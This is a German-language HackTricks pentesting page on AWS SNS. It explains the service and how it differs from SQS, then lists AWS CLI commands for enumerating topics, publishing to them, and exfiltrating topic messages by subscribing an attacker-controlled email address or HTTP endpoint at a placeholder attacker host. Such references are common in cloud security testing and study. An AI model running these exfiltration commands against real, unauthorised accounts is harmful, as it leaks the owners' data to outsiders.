AWS - SNS Enum

Unterstütze HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) wird als ein vollständig verwalteter Messaging-Dienst beschrieben. Es unterstützt sowohl Anwendung-zu-Anwendung (A2A) als auch Anwendung-zu-Person (A2P) Kommunikationstypen.

Wichtige Funktionen für die A2A-Kommunikation umfassen Publish/Subscribe (Pub/Sub) Mechanismen. Diese Mechanismen führen Topics ein, die entscheidend für die Ermöglichung von High-Throughput, Push-basierter, Many-to-Many-Messaging sind. Diese Funktion ist besonders vorteilhaft in Szenarien, die verteilte Systeme, Microservices und ereignisgesteuerte serverlose Architekturen umfassen. Durch die Nutzung dieser Topics können Publisher-Systeme Nachrichten effizient an eine breite Palette von Subscriber-Systemen verteilen und so ein Fanout-Messaging-Muster ermöglichen.

Unterschied zu SQS

SQS ist ein Queue-basierter Dienst, der Punkt-zu-Punkt-Kommunikation ermöglicht und sicherstellt, dass Nachrichten von einem einzelnen Verbraucher verarbeitet werden. Es bietet mindestens einmalige Zustellung, unterstützt Standard- und FIFO-Warteschlangen und ermöglicht die Nachrichtenaufbewahrung für Wiederholungen und verzögerte Verarbeitung. Im Gegensatz dazu ist SNS ein Publish/Subscribe-basierter Dienst, der One-to-Many-Kommunikation ermöglicht, indem Nachrichten gleichzeitig an mehrere Abonnenten gesendet werden. Es unterstützt verschiedene Abonnementendpunkte wie E-Mail, SMS, Lambda-Funktionen und HTTP/HTTPS und bietet Filtermechanismen für gezielte Nachrichtenübermittlung. Während beide Dienste die Entkopplung zwischen Komponenten in verteilten Systemen ermöglichen, konzentriert sich SQS auf die Warteschlangenkommunikation, während SNS ereignisgesteuerte, Fanout-Kommunikationsmuster betont.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Beachten Sie, dass wenn das Thema vom Typ FIFO ist, nur Abonnenten, die das Protokoll SQS verwenden, genutzt werden können (HTTP oder HTTPS können nicht verwendet werden).

Auch wenn das --topic-arn die Region enthält, stellen Sie sicher, dass Sie die richtige Region in --region angeben, oder Sie erhalten einen Fehler, der darauf hinweist, dass Sie keinen Zugriff haben, obwohl das Problem die Region ist.

Unauthenticated Access

AWS - SNS Unauthenticated Enum

Privilege Escalation

AWS - SNS Privesc

Post Exploitation

AWS - SNS Post Exploitation

Persistence

AWS - SNS Persistence

References

Unterstützen Sie HackTricks

Last updated